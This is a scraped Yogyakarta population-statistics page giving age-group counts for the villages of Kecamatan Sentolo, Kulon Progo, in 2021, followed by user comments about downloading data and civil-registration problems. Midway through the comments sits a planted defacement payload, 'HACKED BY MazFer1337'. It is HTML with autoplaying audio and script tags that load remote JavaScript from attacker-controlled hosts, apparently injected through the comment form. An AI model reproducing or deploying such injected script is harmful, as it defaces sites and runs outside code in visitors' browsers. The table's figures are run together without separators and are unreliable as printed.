Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN SENTOLO, KABUPATEN KULON PROGO, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaDEMANGREJOSRIKAYANGANTUKSONOSALAMREJOSUKORENOKALI AGUNGSENTOLOBANGUNCIPTOTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun4540 855552 10710299 2017161 13210186 1875962 1217995 1745145 96563 540 1.103
2 tahun1821 393521 565661 1173233 655362 1154131 726346 1092434 58322 309 631
3 tahun2623 494032 725553 1082830 586955 1244331 745845 1033330 63352 299 651
4 tahun2215 373625 617954 1333037 675346 993831 694459 1032618 44328 285 613
5 tahun2218 403639 756256 1183942 816761 1283356 895658 1143124 55346 354 700
6 tahun1617 332631 577354 1273329 625559 1144438 824951 1002623 49322 302 624
7 tahun3417 514830 786052 1124046 867555 1304837 856059 1192822 50393 318 711
8 tahun1928 473938 776259 1215325 784844 924742 896655 1212433 57358 324 682
9 tahun3324 574938 877048 1184049 896971 1404841 896250 1122722 49398 343 741
10 tahun2229 514536 818167 1484444 886759 1265444 986152 1133232 64406 363 769
11 tahun1924 434529 746661 1274644 906379 1423947 867154 1252529 54374 367 741
12 tahun2222 443844 826755 1225437 916755 1225260 1126567 1323230 62397 370 767
13 tahun2534 594941 906468 1325044 947169 1407044 1146974 1434732 79445 406 851
14 tahun2217 394040 806167 1283941 806659 1255453 1077370 1432635 61381 382 763
15 tahun1726 433632 686750 1174345 886463 1273938 776464 1282517 42355 335 690
16 tahun1420 343443 775358 1114037 777165 1364139 805258 1102618 44331 338 669
17 tahun2526 512939 685955 1144545 906162 1234853 1017454 1283736 73378 370 748
18 tahun2716 433336 697760 1374138 796069 1293842 805573 1283120 51362 354 716
19 tahun2521 463533 687558 1334947 967049 1194937 865468 1223123 54388 336 724
20 tahun2322 453640 766253 1153335 685867 1255038 885654 1102139 60339 348 687
21 tahun2319 424130 716865 1334356 996566 1315664 1205257 1092828 56376 385 761
22 tahun3022 524036 765272 1244743 906957 1264651 977360 1332335 58380 376 756
23 tahun2315 383825 636870 1383841 795856 1143539 744564 1092729 56332 339 671
24 tahun1624 403439 735548 1033751 886146 1074662 1086651 1172224 46337 345 682
25 tahun1620 363829 676562 1275541 967559 1343536 717667 1433228 60392 342 734
26 tahun2330 534337 805567 1224038 786060 1204240 826563 1282729 56355 364 719
27 tahun1619 353242 745666 1223437 716248 1105434 885360 1133225 57339 331 670
28 tahun2327 503337 705580 1353744 815755 1124142 836361 1242924 53338 370 708
29 tahun2523 483130 617170 1413847 856149 1104639 857464 1382631 57372 353 725
30 tahun1824 423733 705559 1144434 783849 872948 775761 1183033 63308 341 649
31 tahun4021 614332 755453 1072845 736160 1213942 816960 1292434 58358 347 705
32 tahun1125 364135 766363 1263646 825563 1184441 855450 1043120 51335 343 678
33 tahun2231 533137 685145 964340 836049 1094344 875653 1092420 44330 319 649
34 tahun1923 423136 674548 934335 785045 954041 814849 972027 47296 304 600
35 tahun3022 523438 726650 1163337 705752 1094347 905948 1071931 50341 325 666
36 tahun3024 543537 725572 1273940 796563 1283253 854852 1003325 58337 366 703
37 tahun2732 593641 776768 1353947 865666 1225749 1065570 1253632 68373 405 778
38 tahun2528 533748 856576 1414733 806368 1315438 926050 1103423 57385 364 749
39 tahun2427 514640 869564 1594143 845868 1264548 935275 1272536 61386 401 787
40 tahun3426 604134 755752 1093837 757856 1346237 996264 1263531 66407 337 744
41 tahun2219 413535 705856 1142835 635972 1315451 1056142 1033321 54350 331 681
42 tahun2722 493435 696879 1473337 707372 1455335 886887 1552433 57380 400 780
43 tahun2625 514833 817159 1303638 746256 1184048 886676 1423426 60383 361 744
44 tahun2223 452734 615557 1123529 646163 1244842 905455 1091723 40319 326 645
45 tahun2728 553637 737463 1374137 785551 1063742 795650 1063426 60360 334 694
46 tahun2724 513137 687964 1434134 755655 1113941 806069 1292136 57354 360 714
47 tahun1921 402832 604949 984042 824654 1004438 824255 973225 57300 316 616
48 tahun3218 504234 765160 1113247 795456 1103344 775359 1122320 43320 338 658
49 tahun2819 472832 606871 1393038 685349 1023946 856957 1263128 59346 340 686
50 tahun2417 413641 775244 963741 785255 1075044 946150 1113124 55343 316 659
51 tahun1726 432929 584843 914140 815575 1303938 776564 1292528 53319 343 662
52 tahun2723 503747 845353 1064645 916037 973952 915773 1302222 44341 352 693
53 tahun2327 505742 996868 1364845 936271 1335345 985765 1222331 54391 394 785
54 tahun2120 414138 796267 1294142 835058 1083838 765263 1152339 62328 365 693
55 tahun1523 383026 566153 1142949 785442 964348 914566 1112416 40301 323 624
56 tahun2224 463441 755355 1083444 785865 1234148 895959 1181932 51320 368 688
57 tahun3021 513935 744138 793842 806350 1133221 535152 1032729 56321 288 609
58 tahun1315 283936 753844 823539 744744 914346 894649 952322 45284 295 579
59 tahun1521 362140 614453 973042 724348 912240 625154 1052226 48248 324 572
60 tahun2211 333320 532639 653331 644137 784137 784454 982120 41261 249 510
61 tahun1820 383146 775372 1253348 815652 1084638 845473 1272718 45318 367 685
62 tahun2625 513030 604952 1014130 714548 933347 804270 1122427 51290 329 619
63 tahun1615 312029 493334 672625 513841 793136 674440 84922 31217 242 459
64 tahun1714 312528 533836 742142 632651 774122 635142 931711 28236 246 482
65 tahun826 341722 393030 602827 554162 1032029 493136 67914 23184 246 430
66 tahun1816 342532 573838 762728 553841 792636 625441 951715 32243 247 490
67 tahun1723 402830 584742 892727 544331 742523 484648 941825 43251 249 500
68 tahun1312 251620 361117 28149 232718 451915 342931 601314 27142 136 278
69 tahun1412 261131 422727 541721 382922 512423 472232 541016 26154 184 338
70 tahun146 201317 303042 722512 372218 403512 472035 551311 24172 153 325
71 tahun1012 222418 421629 451124 353627 631820 381526 41911 20139 167 306
72 tahun920 291821 393243 751319 322322 451326 392934 631617 33153 202 355
73 tahun913 221216 282119 401813 311823 41139 221818 36617 23115 128 243
74 tahun106 161416 301525 40711 182017 37916 251122 331317 3099 130 229
75 tahun715 22918 271520 35614 20911 201313 26924 3377 1475 122 197
76 tahun1018 281621 371725 42915 242733 601219 311627 431219 31119 177 296
77 tahun211 1399 181832 501213 251525 40917 261914 33818 2692 139 231
78 tahun24 678 151214 26212 141513 281315 281014 2428 1063 88 151
79 tahun510 15915 241218 30913 22159 241025 3569 1558 1371 107 178
80 ke atas4254 965592 14776114 1905697 15365152 21768104 17257112 1693267 99451 792 1.243
Jumlah1.6771.7013.3782.6202.6585.2784.2784.2828.5602.7802.9415.7214.2294.1968.4253.1303.1486.2784.1184.3328.4501.9362.0163.952 24.768 25.274 50.042
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih